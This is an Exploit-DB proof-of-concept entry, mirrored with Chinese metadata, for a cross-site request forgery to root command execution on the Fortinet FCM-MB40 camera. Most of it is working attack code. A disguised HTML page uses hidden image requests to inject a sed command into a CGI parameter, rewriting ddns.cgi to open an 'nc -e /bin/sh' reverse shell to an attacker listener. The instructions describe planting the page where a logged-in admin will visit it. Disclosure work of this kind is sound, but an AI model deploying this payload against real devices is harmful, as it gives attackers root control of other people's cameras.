Fortinet FCM-MB40 – Cross-Site Request Forgery / Remote Command Execution

  • 作者： XORcat
    日期： 2019-06-25
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/47033/
  • # Exploit Title: FCM-MB40 Remote Command Execution as Root via CSRF
# Date: 2019-06-19
# Exploit Author: @XORcat
# Vendor Homepage: https://fortinet.com/
# Software Link: Customer Account Required
# Version: v1.2.0.0
# Tested on: Linux
# CVE : TBA

<html>
<!-- FCM-MB40 CSRF to RCE as root, by Aaron Blair (@xorcat) 

Full details: https://xor.cat/2019/06/19/fortinet-forticam-vulns/

Follow the following steps to demonstrate this PoC:

1. Replace IP addresses in Javascript code to repr	esent your testing
 environment.
2. Launch a `netcat` listener on the attacker's host using `nc -nvlp
 1337`
3. Ensure the "admin" user's browser is logged in to the FCM-MB40.
 * Note: all modern browsers will cache Basic Authentication
 credentials (such as those used by the FCM-MB40) even if the
 FCM-MB40's administration page is closed.
4. Open the crafted HTML document using the "admin" user's
browser. 
 * Note: In an attack scenario, this step would be performed by
 implanting the code into a legitimate webpage that the "admin"
 user visits, or by tricking the "admin" user into opening a page
 which includes the code.
5. Note that the `netcat` listener established in step 2. has received
 a connection from the camera, and that it is presenting a `/bin/sh`
 session as root.
 * Note: type `id` in the `netcat` connection to verify this.

_Note: After this issue has been exploited, the state of the system will
have changed, and future exploitation attempts may require
modification._
-->
<head>
<script>
const sleep = (milliseconds) => {
return new Promise(resolve => setTimeout(resolve, milliseconds))
};
var sed_url = 'http://192.168.1.20/cgi-bin/camctrl_save_profile.cgi?num=9&name=a%20-e%20s/^if.*/nc\\t192.168.1.10\\t1337\\t-e\\t\\/bin\\/sh\\nexit/%20../cgi-bin/ddns.cgi%20&save=profile';
var execute_url = 'http://192.168.1.20/cgi-bin/ddns.cgi';

var sed_img = document.createElement("img");
sed_img.src = sed_url;

sleep(400).then(() => {
var execute_img = document.createElement("img");
execute_img.src = execute_url;
});
</script>
</head>
<body>
<h1>Welcome to my non-malicious website.</h1>
</body>
</html>